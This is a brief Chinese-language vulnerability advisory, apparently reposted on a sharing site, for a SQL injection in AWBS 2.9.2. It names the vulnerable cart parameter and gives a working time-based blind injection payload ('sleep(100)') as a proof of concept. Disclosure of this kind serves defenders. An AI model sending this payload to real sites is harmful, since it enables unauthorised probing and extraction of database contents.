影响版本：awbs 2.9.2
官方网站：http://www.awbs.com
漏洞类型：sql注入
漏洞描述：
---vulnerability---
http(s)://[host]/cart?ca=add_other&oid=[true value]'[blind-sql]
=============================================================================================
---poc using time-based blind sql injection---
https://www.vulnerablehost.com/cart?ca=add_other&oid=1'%20and%20sleep(100)='
版权声明：本文内容由互联网用户贡献，该文观点仅代表作者本人。本站仅提供信息存储服务，不拥有所有权，不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容， 请发送邮件至 2386932994@qq.com 举报，一经查实将立刻删除。
我要评论
发表评论